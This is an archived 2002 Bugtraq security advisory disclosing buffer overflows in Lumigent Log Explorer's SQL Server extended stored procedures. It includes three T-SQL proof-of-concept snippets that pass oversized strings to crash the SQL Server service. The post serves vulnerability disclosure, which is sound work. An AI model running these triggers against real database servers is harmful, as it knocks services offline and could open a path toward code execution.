[25788] in bugtraq

home help back first fref pref prev next nref lref last post

Lumigent Log Explorer 3.xx extended stored procedures buffer overflow

daemon@ATHENA.MIT.EDU (martin rakhmanoff)
Fri Jun 14 11:28:49 2002

Date: 14 Jun 2002 13:05:15 -0000
Message-ID: <20020614130515.20440.qmail@mail.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: martin rakhmanoff <jimmers@yandex.ru>
To: bugtraq@securityfocus.com



Lumigent Log Explorer is a transaction log explorer for Microsoft SQL 
Server 7/2000. It ships with extended stored procedures implemented in 
xp_logattach.dll. Some of them suffer from buffer overflows that lead to 
SQL Server service crash and potentially to arbitrary code execution. 
Below is sample code that crashes SQL Server:

declare @bo varchar(8000) 
set @bo = replicate('A', 800) 
exec xp_logattach_StartProf @bo 

declare @bo varchar(8000) 
set @bo = replicate('A',800) 
exec xp_logattach_setport @bo 

declare @bo varchar(8000) 
set @bo = replicate('A',800) 
exec xp_logattach @bo 

Procedures can be run only by dbo (master) by default. Vendor was informed 
but I got no response confirming this problem and no fixes.

Cheers

Martin Rakhmanoff (jimmers)
jimmers@yandex.ru


home help back first fref pref prev next nref lref last post